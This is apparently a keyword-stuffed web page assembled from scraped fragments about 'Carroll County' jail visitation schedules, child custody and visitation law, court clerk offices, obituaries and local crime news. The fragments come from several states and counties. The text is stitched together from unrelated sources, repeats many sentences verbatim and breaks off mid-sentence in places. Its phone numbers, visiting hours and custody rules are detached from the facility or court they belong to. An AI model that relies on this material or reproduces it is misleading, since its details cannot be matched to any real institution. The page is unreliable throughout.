Of Missouri; Property of the Cass County Sheriff's Office 2501 West Mechanic. Website Design by Granicus - Connecting People and Government. SUMMARY OF CHARGES, COSTS, AND FEES OF THE CLERKS OF THE CIRCUIT COURT 1: to be paid to the District Court clerk Effective July 1, 2018 2: to be paid to the Circuit Court clerk when the service, such as acceptance of the filing is provided. You must call and schedule an appointment with 24 hours of the visit. County Click 311. Carroll County General Sessions Court in Huntingdon, TN - Court Information. More or less may be awarded depending on the specific facts of the case. The 41-year-old was sentenced Monday. The Detention Center's Administration encourages inmates to maintain ties with their families and friends through regular visits. Bobbie Lea Batey was a loving lady who worked in the restaurant business in the Northeast Arkansas area and was a seamstress the Carroll County, Tennessee area. Home Visitation Services. She was loved by many and will be so greatly missed. Child(ren)’s Birthday. If there is a conflict between the regular visitation schedule and the holiday schedule, the holiday schedule will prevail. Carroll County General Sessions Court in Huntingdon, Tennessee. Phillips, Guardian ad litem for the minor children, on brief), for appellee. County jails have slightly different rules and regulations for inmates and visitors. Unfortunately, as hard as you work to stick to your family's pre-planned holiday visitation schedule, pulling it off isn't entirely up to you. Box 100110 Marietta, GA 30061. How to book a prison visit online in Taneytown Police Jail, Taneytown, Carroll County, Maryland. Perry of Scott, Arkansas passed away Friday, September 27 at the age of 69 after a courageous battle against acute myeloid leukemia. You can create your own custody and visitation schedule (on your own or with the other parent) or you can work with an attorney or legal professional and have them create it. This must be done before 4:00 PM Tuesday or Friday. Raymond M Myerly PL-State's Attorney. Ted Zaleski Item 3 FY20 Agency Budget Hearings Department of Management & Budget ~ Mr. 226 Carroll County jobs available in Maryland on Indeed. Depending on the circumstances, violations of the Medication Procedures could be considered a violation of the Carroll County Public Schools Drug and Alcohol Policies, and carry the same consequences as other drug violations. Our Canton Office is fully staffed daily, and we are also available evenings and on weekends to accommodate your needs and unforeseen emergencies. Carroll County Extension Office Kristin Beck, Carroll County Arts Board, 502-732-7020 Progressive Louisville Boat, RV, and Sportshow January 23rd-27th at the Kentucky Exposition Center Stop in and visit Carrollton/Carroll Co. Maryland courts are focused on the best interests of the child, so it is crucial that you turn to an experienced attorney in Carroll County to show that the best interest includes you. , at 276-779-4451 to schedule a free consultation. Need help with child custody? Your top priority is your child. Many counties in Arkansas, and sometimes different divisions (Judges) within a county, have various Suggested Visitation Policies. Contact Taneytown Police Jail to schedule an appointment with your inmate and to check the time slot, as the inmates are allowed one visit per day. Legacy is unique in that it is a single source provider, researching, developing, building integration and implementing every aspect of its Inmate Telephone and Video Visitation System. When you have our Carroll County family lawyer on your side, we can help ensure that your visitation rights are protected. One 30 minute visit window. Carroll County Visiting ♥ Nurse ♥ Association Serving your area since 1977 Carroll County Visiting Nurse Association is a community-based voluntary non-profit organization governed by a board consisting of medical professionals and members of the community. If you would like to visit an inmate at the Carroll County Jail, you will need to get in touch with the Sheriff's Office at 731-986-8947 to inquire about the rules for visitation as well as the visitation schedule. Search for inmates incarcerated in Carroll-Montgomery County Regional Correctional Facility (CMRCF), Vaiden, Mississippi. The new video visitation platform will greatly increase opportunities inmates have to visit family and friends while decreasing the amount of inmate movement in the jail necessary for face-to-face. Stress free. and visitation to. Official page for Carroll County Government, MD Carroll County was created by an act of the Maryland General Assembly passed on January, 19th 1837. Divorce modification requests may also be filed because of lifestyle changes, moving a significant distance, or changes in ones ability to pay what had been required. Trust & Commissary With trust and commissary funds, your loved one or friend will have money to shop at the facility commissary where they can purchase snacks. Placement / Visitation schedule (LaCrosse Child Support) Request for orders following a paternity acknowledgement (Dunn Clerk of Courts) Filed by unmarried parents who want to start a court action for custody, placement, or support where both parents have jointly signed and filed with the State a paternity acknowledgement statement. She was loved by many and will be so greatly missed. Legal custody means which parent can make decisions about the minor child. The Carroll County Sheriff's Office is now treating the disappearance of 14-year-old Jonathon Minard as a criminal investigation. #401, Carrollton, Ohio 44615. "29 The General Assembly removed that ambiguity in 2001,and changed the statute to omit the second sentence. Visitation Notice to All Visitors Schedule. Each year you pledge that the holiday season will be different. The Shift Supervisor must approve any extended visit. Your Name * Your Email *. Most people want to get in touch with an inmate. The deadline for systems not currently approved to receive approval is December 31, 2023. Department of Correction and Rehabilitation Visiting Inmates and Residents If you are visiting or talking to an inmate on the phone and they sound depressed, may be thinking of harming themselves and you feel it may be a life safety issue, such as the potential for suicide or other serious concern, please call 240-773-9704 and ask to speak to a. The Troup County Jail operates 24 hours a day; seven days a week and is staffed by 58 Jail Officers. In addition, if you already have a visitation schedule pursuant to local rule, and that schedule was attached to your parenting time orders, it is POSSIBLE that the court did not mean for YOUR visitation schedule to change if the local visitation schedule in your county changes. (a) Are there any minor children of this marriage/relationship? yes no (b) If there are children of the marriage/relationship, the parties are required to complete the. online platform is here to provide you with daily updated Carroll County Detention Center inmate roster, incarceration facility details, visitation hours and lots of other helpful information. Mary Florence Arthur Word(1992) Description: Carroll County land was distributed in a land lottery held in Milledgeville, Georgia, in 1827. The Carroll Police Department reports three people were taken into custody over the weekend in two separate incidents. You may set them up on the website or from the terminals at the jail. Select the name of the inmate you want to visit: Select your relationship to the inmate:. There is no. The child visitation or parenting time should spell out with whom the child or children will reside and the schedule for the non-custodial parent. The Maryland Child Support Administration (CSA) works with both parents to provide the financial, medical and emotional support their children need to grow and thrive. 6 miles northwest of Huntingdon. Kellie Orres 515-574-3752. The State of Iowa, however, supports the Victim Information and Notification Everyday system, so you can visit the site to check and receive notifications on the custody status of an offender. When Circuit Courts were established to succeed the County Courts in 1851, provision was made for a clerk to serve the court in each county (Constitution of 1851, Art. Children must be accompanied by a parent or guardian and guardians must provide proof of their guardianship. Call 731-986-1905 for directions If you schedule a visit and dont show. Call 240-575-1522 or connect with our team online to schedule your first meeting with one of our divorce and family law attorneys. 3 square milles. If you are going through a divorce or separation and have children, you'll want a formal visitation schedule in place in order to facilitate an orderly schedule for you, your child, and your former spouse. , as a suspect in the adult male’s homicide and Fabian’s disappearance. High is 5-foot-7, weighs 145 pounds and has hazel eyes and brown hair with tattoos on his. Maryland courts are focused on the best interests of the child, so it is crucial that you turn to an experienced attorney in Carroll County to show that the best interest includes you. Bobbie Lea Batey was a loving lady who worked in the restaurant business in the Northeast Arkansas area and was a seamstress the Carroll County, Tennessee area. The Carroll County Times published a breakdown of the number of fatal crashes since 2012. He was born August 21, 1944 in Grenada, Mississippi. Carroll County Superior Court Clerk of Courts: Alan J. are encouraged to cooperate with each other in expanding this schedule to fit the child(ren)'s needs. Six Isolation and Segregation cells. 2018 Carroll County Agricultural Fair Info. This Facebook page is specifically designed for discussion and publicity around the Carroll County Maryland. Stress free. Appointments are available Monday through Friday between 8:30am and 4:30pm. One 30 minute visit window. The Carroll County Business/Employment Resource Center (BERC) is an American Job Center - a one-stop workforce development center dedicated to meeting the workforce needs of businesses and community residents in Carroll County, Maryland. Inmates at the Cass County Jail are given set visitation times based on their last name. The Carroll County Clerk of Courts office is located at 119 S Lisbon St. Connect with an experienced child custody attorney in Carroll County by calling our law firm at (410) 871-0003 and scheduling a consultation right now. Kentucky Family Court is so progressive and successful that it is considered a national model. Find Carroll County Juvenile Detention Center Visiting Hours & Rules, Phone Number, Mail, Video Visitation Schedule, Dress Code and Inmate Search. Questions? We can help. You must call and schedule an appointment with 24 hours of the visit. The Maryland Child Support Administration (CSA) works with both parents to provide the financial, medical and emotional support their children need to grow and thrive. County: _____ I, Attorney, within and for said County and State, do certify that on this day came before me, ________ , personally known to me, whose name is signed to the foregoing Separation Agreement and that ________ entered into this Separation Agreement of their own free will and volition without any force or duress by any Party. 2 million citizens in 71 Kentucky counties. Carroll County Sheriff's Office, Carrollton, Georgia. When Circuit Courts were established to succeed the County Courts in 1851, provision was made for a clerk to serve the court in each county (Constitution of 1851, Art. You can schedule a visitation a minimum of 2 days in advanced but it can't be scheduled more than 9 days in advance. Depending on what pod the inmate is being held in, visitation can be between 7:30 AM to 9:00 PM. Thursday, August 16, 2018 | 02:55pm. When you have our Carroll County family lawyer on your side, we can help ensure that your visitation rights are protected. Only two individuals are allowed to visit at a time. The regular weekend visitation schedule shall not change and all holiday, birthday, spring, summer, fall and winter break visitation shall supersede regular weekend visitation and regular weekday visitation on Tuesdays and Thursdays. Please click on the banner below for more information on signing up for an account. The juvenile was released into her mother’s custody. Carroll County is located in the north of Illinois, USA. Menu AGRICULTURE -Farm Facts -Meet a Farmer FOOD -Recipes -Restaurants -Made in TN HOME & GARDEN -Gardening -Decor and Gifts -Around the Home TN LIVING -People and Places -History -Health and Insurance -Read All About It -Contests & Giveaways TRAVEL -Tennessee Events Calendar -Events. According to authorities, detectives from the. The child visitation or parenting time should spell out with whom the child or children will reside and the schedule for the non-custodial parent. You may be wondering how you can put money into an inmate at the Carroll County Detention Center. If there is a conflict between the regular visitation schedule and the holiday schedule, the holiday schedule will prevail. CARROLL COUNTY, Ind. The Clerk of Courts has created an access to view case information from computerized records maintained by Carroll County Common Pleas Court and deemed to be public information. History of Fatal Car Accidents in Carroll County. Search for inmates incarcerated in Carroll-Montgomery County Regional Correctional Facility (CMRCF), Vaiden, Mississippi. A visitation list is given out prior to visitation day and the inmate may have three people on this list. Students are not allowed to transport medications to or from school. The Arc of Carroll County mai 2007 – janvier 2012 4 ans 9 mois. Carroll County Overview SAFEGUARDS / RESILIENCY MEASURES THREAT MITIGATION 2018 ELECTION INITIATIVES 2018 Election Cybersecurity Planning Snapshot Carroll County DevelopeD by the MarylanD State boarD of electionS w/ support from the us Department of homelanD security - election task force Voters Registered. This month, another 40 were seized from a property in Middle. To access the computerized records please click the following link:. The exception to the age requirement is if the visitor is legally married to the inmate. Daniel, 235 Ga. He helps parties reach agreements in a timely manner. The county was formed from parts of Baltimore and Frederick Counties and was named for Charles Carroll of Carrollton, a signer of the American Declaration of Independence. Through this website, we strive to keep the citizens of West Carroll informed. Stress free. Sheriff Tobe Leazenby says officers responded to the scene on US 421 north of County. With several different deposit methods available, ConnectNetwork is the quickest and most convenient option to fund a correctional account. ”29 The General Assembly removed that ambiguity in 2001,and changed the statute to omit the second sentence. Visitation Services Coordinator - The VS Coordinator administers the Carroll County Visitation Center. Here, you'll find clear and accurate information about Child Custody, including: family court. A Madison County man charged in the Halloween night abduction of a local teen was bound over to the January 2019 session of the Grand Jury last week in Carroll County General Sessions Court. When a parent sues the other parent to change custody, the Court has the power to award sole custody, joint custody, joint legal custody, and joint physical custody. Carroll County MD Grow It Eat It. Crime Hearing continues for local kidnapping case. County jails have slightly different rules and regulations for inmates and visitors. Regulations pertaining to visitation will be made available to all offenders at the time of admission. The deadline for systems not currently approved to receive approval is December 31, 2023. Menu AGRICULTURE -Farm Facts -Meet a Farmer FOOD -Recipes -Restaurants -Made in TN HOME & GARDEN -Gardening -Decor and Gifts -Around the Home TN LIVING -People and Places -History -Health and Insurance -Read All About It -Contests & Giveaways TRAVEL -Tennessee Events Calendar -Events. and visitation to. Raymond M Myerly PL-State's Attorney. Tregoning OPERATIONAL PROCEDURES Su biect: Number: Effective Date: Inmate Records 1-801 1-30-1 3 Policy: To maintain complete and accurate inmate records for all individuals in the custody of the Carroll County Detention Center. About the Firm (2) Bankruptcy (17) Schedule Your Free Visit. Divorce modification requests may also be filed because of lifestyle changes, moving a significant distance, or changes in ones ability to pay what had been required. We offer a variety of legal services including bankruptcy, custody, adoption, divorce, visitation, child support, wills & trusts, personal injury, automobile accidents and more. At the traffic light, take a left onto Hwy 59, cross the railroad tracks and follow until it intersects with Hwy 77 and turn right. Welcome to Legacy. You may contact the Douglas County Sheriff's Office, Monday thru Friday at 770-920-4972 between 8:00am - 5:00pm, regarding purchases, deposits or other related information. The ultimate purpose of an AR child custody agreement is to determine physical custody and legal custody. Content on this website is determined by the facility; JailTracker is not responsible, and assumes no liability, for any content or for any improper or incorrect use of the information. Carroll County Superior Court Clerk of Courts: Alan J. As many people with older Decrees are still adhering to the older policies, we've made an attempt to provide a link to all known visitation policies for Washington, Benton, Madison and Carroll Counties. In the January 9, 2017 judgment of absolute divorce, the Circuit Court for Carroll County adopted this recommendation and awarded Mother sole legal custody of the children, with a specific visitation schedule for Father. Postponed from Sept. Monday 9am - 6pm; Tuesday 9am - 6pm; Wednesday 9am - 6pm; Thursday 9am - 6pm; Friday 9am - 6pm; All visits are non-contact and conducted through a glass partition. Carroll County Divorce Attorneys We Provide Seasoned Counsel & Representation. How to book a prison visit online in Taneytown Police Jail, Taneytown, Carroll County, Maryland. – A person was killed in a three-vehicle crash in northwestern Carroll County on Friday. About the Firm (2) Bankruptcy (17) Schedule Your Free Visit. All visitors entering the jail are subject to be "Patted Down". Carroll County Sheriff's investigators believe Jameson is the man who tried to coax an 11-year-old girl into his vehicle Tuesday. Arrests, charges, current and former inmates. In Stark County, this guardian ad litem will be a lawyer. Need an attorney in Carroll County, Virginia? FindLaw's Lawyer Directory is the largest online directory of attorneys. Parties can agree on any visitation schedule that works for them, but each county normally has a default standard visitation schedule that parties can fall back on. Carroll County: Eldersburg. Information Visitation Schedule Home Chief. This county was established in 1839 from Jo Daviess County. The address for this county jail is located at:. Children must be accompanied by a parent or guardian and guardians must provide proof of their guardianship. Each inmate will be given a minimum of five minutes. Each year you pledge that the holiday season will be different. Degrees & Academic Programs Business Computer Technology Creative Arts Education Health Care Professions Health & Exercise Science Humanities and. The county you live in may have changed their rule(s) yesterday. There were at least 13 fatal crashes, resulting in at least 17 fatalities, in Carroll County in 2017. About the Firm (2) Bankruptcy (17) Schedule Your Free Visit. (WTVA) - Two prison escapees with local ties are in custody after they disappeared from a state prison near Jackson. For more information about these services, PLEASE CALL US at 410-857-0629 or CLICK HERE to email a worker from this program. for felony possession of a controlled substance. In this case, however, the parents were awarded joint physical custody. Police on June 28, 2019, were investigating a three-vehicle crash on U. City or County an order in case number , granting custody of the child(ren) to. Official page for Carroll County Government, MD Carroll County was created by an act of the Maryland General Assembly passed on January, 19th 1837. County to Carroll County. 2 In the event the parent who does not reside with the child(ren) lives more than 150 miles from Madison County, Alabama, the Court's standard "Out of State Visitation Schedule" shall apply; copies may be obtained in the Judge's office. Searchable records from law enforcement departments. Carroll County Family Law Attorney Eldersburg Lawyer Serving Clients Throughout The Greater Baltimore Area. 30-year-old Kristen Hardenburgh from Duck Hill is charged with possession of heroin and methamphetamine. Divorce modification requests may also be filed because of lifestyle changes, moving a significant distance, or changes in ones ability to pay what had been required. Carroll County Family Law Attorney Ross W. Child Visitation Schedule in Maryland "I must make it known, that if he was not the man that he is, were it not for his excellent skills as a lawyer, attorney at Law, Counselor - at law all rolled into one, life as I know it today, would not be one of serenity; but one of emotional anguish, mental stress, and a financial strain that would. Father completed his term of incarceration and was released from prison on September 13, 2006. MaxPreps brings you results from over 25,000 schools across the country. Former Carroll County Public Schools teacher and principal Kenneth Brian Fischer, 41, formerly of Westminster, was sentenced Monday to 22 years in federal prison and to undergo lifetime. Legacy is unique in that it is a single source provider, researching, developing, building integration and implementing every aspect of its Inmate Telephone and Video Visitation System. Albers is a former Baltimore City Assistant State's Attorney. She was loved by many and will be so greatly missed. Programming Schedule; but he is not yet in custody. Central Maryland Correctional Facility Inmate Phone & Debit Account Information. Contact Taneytown Police Jail to schedule an appointment with your inmate and to check the time slot, as the inmates are allowed one visit per day. Albers is a former Baltimore City Assistant State’s Attorney. Carroll is the #1 choice for county residents to start their bachelor's degree, get certified for a skill, advance their career, or pursue a passion. As many people with older Decrees are still adhering to the older policies, we’ve made an attempt to provide a link to all known visitation policies for Washington, Benton, Madison and Carroll Counties. Need an attorney in Carroll County, Virginia? FindLaw's Lawyer Directory is the largest online directory of attorneys. The Carroll County Sheriff's department is investigating the death of a young woman last week in the county jail. NEW PHILADELPHIA Tuscarawas County Common Pleas Court has new procedures that are meant to improve the experience the general public has when dealing with the institution. About the Firm (2) Bankruptcy (17) Schedule Your Free Visit. Changing or Updating Temporary Child Custody By Amy Castillo , J. The date of the initial support Order concerning this child support case was:. A roster or inmate list is available at the Carroll County Detention Center in Arkansas. Menu AGRICULTURE -Farm Facts -Meet a Farmer FOOD -Recipes -Restaurants -Made in TN HOME & GARDEN -Gardening -Decor and Gifts -Around the Home TN LIVING -People and Places -History -Health and Insurance -Read All About It -Contests & Giveaways TRAVEL -Tennessee Events Calendar -Events. Many counties in Arkansas, and sometimes different divisions (Judges) within a county, have various Suggested Visitation Policies. Online Services. The Carroll County Airport is a county-owned public use airport located 4. BALTIMORE (AP) — A onetime teacher will serve 22 years in federal prison for producing child pornography. Please note the following on On-Site Video Visitation: No more than two (2) visitors will be allowed in the video visiting area per inmate at one time. When you are going through a divorce or another difficult family law matter, you deserve to have an advocate on your side who will guide you through the process, help you understand your rights and options, and protect your children and your finances above all else. A court has the authority to order supervised visitation either temporarily or permanently. History of Fatal Car Accidents in Carroll County. No animal/pets can be left in vehicles. Thursday, August 16, 2018 | 02:55pm. If you would like to visit an inmate at the Carroll County Jail, you will need to get in touch with the Sheriff's Office at 731-986-8947 to inquire about the rules for visitation as well as the visitation schedule. Video Visitation Securus Video Visitation is a fully web-based visitation system that allows friends, family members, attorneys, and public officials to schedule and participate in video visitation sessions with an inmate - from anywhere with internet access using the free Securus app, computer or tablet. Inmate Search in Carroll County Jail The Carroll County Jail does not have an available list of inmates incarcerated in their facility. Many courts still give this standard schedule to parents who are unable to agree on a more suitable visitation schedule, though shared custody is becoming more and more popular. Box 100110 Marietta, GA 30061. Malachowski American flags lined the street at the Eline Funeral Home on South Main Street in Hampstead as hundreds paid their respects to the family. , University of Minnesota School of Law Temporary custody orders can be hard to change, but if you present the right evidence, you might be able to persuade the judge to alter the order. The Carroll County Sheriff’s department is investigating the death of a young woman last week in the county jail. VISITATION ‐ SCHEDULE, PROCEDURES AND RULES All visitors will register with the Visitation Officer in the jail lobby. Montgomery County Chancery Clerk Ryan Wood is seeking his second term in the 2019 election, and he is running unopposed in his bid. Child Custody Maley Investigations & Child Custody. The Carroll County Clerk of Courts office is located at 119 S Lisbon St. Visitation is restricted to immediate family only. This agency services a 499. Carroll County dispatch received a call from a passing motorist about a SUV sitting in the middle of State Road 18 near County Road 1150 West, about four miles west of Delphi. BALTIMORE (WJZ) — A suspect who died Monday after being arrested and held at a detention center in Carroll County has been identified. Carroll-County-Visitation-Schedule. This must be done before 4:00 PM Tuesday or Friday. Carroll County Board of Adjustment Petitioners appeal a district court ruling affirming a decision by respondent Board of Adjustment that denied petitioners’ request for a zoning variance. Visitors are allowed to enter the parking lot at 8:30 a. In 1926, the Clerk's term was shortened to four years (Const. You must register your visitation application with the Visitation Officer in the jail lobby. Family visiting is scheduled to allow such visiting on a regular basis, limited only by staff demands and the visiting facilities in the Detention Center. When you call, please have the individual’s biographical information ready, including first, last and hyphenated names, any aliases he or she may use, date. These reports can be picked up at the Sheriff's Office. One 30 minute visit window. Find your answer for Carroll County Humane Society Com. No children can be left in the vehicles. MOUNT CARROLL—Donald W. Putting Money into a Commissary Account. Official page for Carroll County Government, MD Carroll County was created by an act of the Maryland General Assembly passed on January, 19th 1837. Divorce modification requests may also be filed because of lifestyle changes, moving a significant distance, or changes in ones ability to pay what had been required. Contact the local court directly with questions about jury duty, an upcoming court date, or getting a copy of a document in your case if it isn't available online. Carroll County Juvenile Court offers a PARENT GROUP to help parents and guardians work together to stamp out school truancy, drug and alcohol use, and other behavior problems. CARROLL COUNTY, Ind. Carroll County Family Law Attorney Singleton Mathews is a former divorce and child custody law clerk. They can assist you with a range of child custody issues including changing custody or support payments and adjusting visitation schedules and overnight visits. Call 731-986-1905 for directions If you schedule a visit and dont show. It's simple to put money into an inmate's. Douglas County Child Custody Attorneys Child Custody Lawyer Serving Atlanta & West Georgia. The telephone number for the Clerk of Courts is 330-627-4886. It is the responsibility of the inmate to communicate their allowed visit times to his or her visitors. Haas the clerk’s office will be closed on Thursday, December 18th, 2014 from 12 Noon to 1:00 p. The Maintenance Unit is responsible for physical maintenance of the Coweta County Jail. Contact Information. Parties can agree on any visitation schedule that works for them, but each county normally has a default standard visitation schedule that parties can fall back on. Your Name * Your Email *. COMMUNICATION WITH and RULES REGARDING INMATES VISITATION: Visitation is held on Tuesday, Wednesday and Saturday, 9:00 a. County to Carroll County. (Margaret D. {¶2} On May 29, 1992, appellant and defendant-appellee, Denice R. Carroll Manor/ Urbana 2 Mt Airy -4 County 2nd Tuesday 5:30 PM Jack Niemiec, Jerry Castellucci 2019-2020 Visitation Schedule. Apply to Correctional Officer, Armed Security Officer, Registrar and more!. If you have reason to believe any information contained here is inaccurate, please contact the facility. Links are grouped by those that cover courts statewide, for multiple counties, and then by individual county. Home Visitation Services. City or County an order in case number , granting custody of the child(ren) to. County jail serves as either a holding cell to someone awaiting/during trail, it is a jail for short term conviction or it may serve as a holding jail while prisoner is being transferred to another facility. Visiting registrations ends at 8:30 p. Melissa and Andrea, who did not disclose their last names, are unhappy with the way the case is being handled. Dominic Edwards, 53, of Westminster, was pronounced. These reports can be picked up at the Sheriff's Office. A modification to the order can be made regardless whether it was the judge who decided custody and child support or if the parents entered into a signed agreement (often called a Consent Custody Order). Provide housing for state offenders and a general labor force supporting Carroll County Government. their approved visitation list. PLEASE TAKE NOTE: Counties change their local visitation schedules. You may be wondering how you can put money into an inmate at the Carroll County Detention Center. Visits are Wednesday or Saturday. Looking For Carroll County Detention Center Inmate Search? Inmate-Search. A Douglas County divorce attorney with experience and skill in working through these difficult negotiations proves invaluable.